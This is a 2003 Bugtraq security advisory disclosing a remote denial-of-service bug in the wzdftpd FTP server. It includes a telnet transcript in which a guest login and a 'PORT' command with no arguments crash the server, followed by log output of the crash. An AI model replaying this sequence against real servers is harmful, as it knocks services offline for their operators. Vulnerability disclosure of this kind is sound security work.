[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    wzdftpd remote DoS
From:       Roman Bogorodskiy <bogorodskiy () inbox ! ru>
Date:       2003-06-27 17:16:17
[Download RAW message or body]

Title: wzdftpd remote DoS
Affected: wzdftpd <= 0.1rc4
URL: http://www.wzdftpd.net
Risk: High
Exploitable: Yes
Remote: Yes
Date: June, 27 2003

Overview: 
"A portable, modular and efficient ftp server, supporting SSL,
winsock, multithreaded, modules ,externals scripts. unix-like
permissions+acls, virtual users/groups, security, speed, bandwith
limitation (user,group,global), group admins, per command auth"

Description:
wzdftpd crashes after sending command "PORT" w/out args. 

$> telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to localhost.novel.ru.
Escape character is '^]'.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
$> telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host

So, we see server is down.
Jun 11 23:00:33 fbd kernel: pid 7149 (lt-wzdftpd), uid 0: exited on signal 11 (core dumped)

This bug is fixed on June, 12 in a CVS version. 

-Roman Bogorodskiy [Novel]
[prev in list] [next in list] [prev in thread] [next in thread]